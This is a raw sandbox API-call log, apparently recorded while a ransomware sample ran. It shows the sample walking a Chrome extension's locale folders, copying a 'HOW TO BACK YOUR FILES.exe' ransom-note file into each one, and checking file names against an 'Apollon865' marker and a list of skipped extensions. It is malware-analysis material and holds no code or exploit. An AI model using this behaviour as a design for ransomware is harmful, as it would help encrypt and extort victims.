	[0047.477] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.481] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.481] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\sk\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835c01b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345f6c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345f6c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.481] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.481] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.481] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.481] lstrlenW (lpString="messages.json") returned 13
	[0047.481] lstrlenW (lpString="Apollon865") returned 10
	[0047.481] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.481] lstrlenW (lpString=".dll") returned 4
	[0047.481] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.481] lstrlenW (lpString=".lnk") returned 4
	[0047.481] lstrcmpiW (lpString1="messages.json", lpString2=".lnk") returned 1
	[0047.481] lstrlenW (lpString=".ini") returned 4
	[0047.481] lstrcmpiW (lpString1="messages.json", lpString2=".ini") returned 1
	[0047.481] lstrlenW (lpString=".sys") returned 4
	[0047.481] lstrcmpiW (lpString1="messages.json", lpString2=".sys") returned 1
	[0047.481] lstrlenW (lpString="messages.json") returned 13
	[0047.481] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru"
	[0047.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af2d8 | out: hHeap=0x580000) returned 1
	[0047.481] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0268 | out: hHeap=0x580000) returned 1
	[0047.481] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru") returned 146
	[0047.482] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru"
	[0047.482] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.482] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.488] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.488] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ru\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835b6570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x345f6c10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x345f6c10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.488] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.488] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.488] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.488] lstrlenW (lpString="messages.json") returned 13
	[0047.488] lstrlenW (lpString="Apollon865") returned 10
	[0047.488] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.488] lstrlenW (lpString=".dll") returned 4
	[0047.488] lstrcmpiW (lpString1="messages.json", lpString2=".dll") returned 1
	[0047.488] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro"
	[0047.488] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af1a0 | out: hHeap=0x580000) returned 1
	[0047.489] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0248 | out: hHeap=0x580000) returned 1
	[0047.489] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro") returned 146
	[0047.489] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro"
	[0047.489] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.489] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.492] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.492] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ro\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835aa220, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3461cd70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3461cd70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.493] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.493] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.493] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.493] lstrlenW (lpString="messages.json") returned 13
	[0047.493] lstrlenW (lpString="Apollon865") returned 10
	[0047.493] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.493] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT"
	[0047.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb98 | out: hHeap=0x580000) returned 1
	[0047.493] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0228 | out: hHeap=0x580000) returned 1
	[0047.493] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT") returned 149
	[0047.493] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT"
	[0047.493] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.493] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.498] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.498] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_PT\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835990b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3461cd70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3461cd70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.498] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.498] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.499] lstrcpyW (in: lpString1=0x2d3e67c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.499] lstrlenW (lpString="messages.json") returned 13
	[0047.499] lstrlenW (lpString="Apollon865") returned 10
	[0047.499] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.499] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR"
	[0047.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0047.499] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a0208 | out: hHeap=0x580000) returned 1
	[0047.499] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR") returned 149
	[0047.499] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR"
	[0047.499] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.499] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_br\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.503] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.503] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt_BR\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835969a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x3461cd70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3461cd70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.503] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.503] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.503] lstrcpyW (in: lpString1=0x2d3e67c, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.503] lstrlenW (lpString="messages.json") returned 13
	[0047.503] lstrlenW (lpString="Apollon865") returned 10
	[0047.503] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.503] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt"
	[0047.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5af068 | out: hHeap=0x580000) returned 1
	[0047.503] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01e8 | out: hHeap=0x580000) returned 1
	[0047.503] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt") returned 146
	[0047.503] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt"
	[0047.504] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.504] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.510] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.510] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pt\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8358f470, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34642ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34642ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.510] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.510] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.510] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.511] lstrlenW (lpString="messages.json") returned 13
	[0047.511] lstrlenW (lpString="Apollon865") returned 10
	[0047.511] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
	[0047.511] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl"
	[0047.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5aef30 | out: hHeap=0x580000) returned 1
	[0047.511] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a01c8 | out: hHeap=0x580000) returned 1
	[0047.511] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl") returned 146
	[0047.511] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl"
	[0047.511] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0047.511] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0047.515] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0047.515] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\pl\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83580a10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x34642ed0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x34642ed0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca490
	[0047.515] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0047.515] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0047.515] lstrcpyW (in: lpString1=0x2d3e676, lpString2="messages.json" | out: lpString1="messages.json") returned="messages.json"
	[0047.515] lstrlenW (lpString="messages.json") returned 13
	[0047.515] lstrlenW (lpString="Apollon865") returned 10
	[0047.515] lstrcmpiW (lpString1="sages.json", lpString2="Apollon865") returned 1
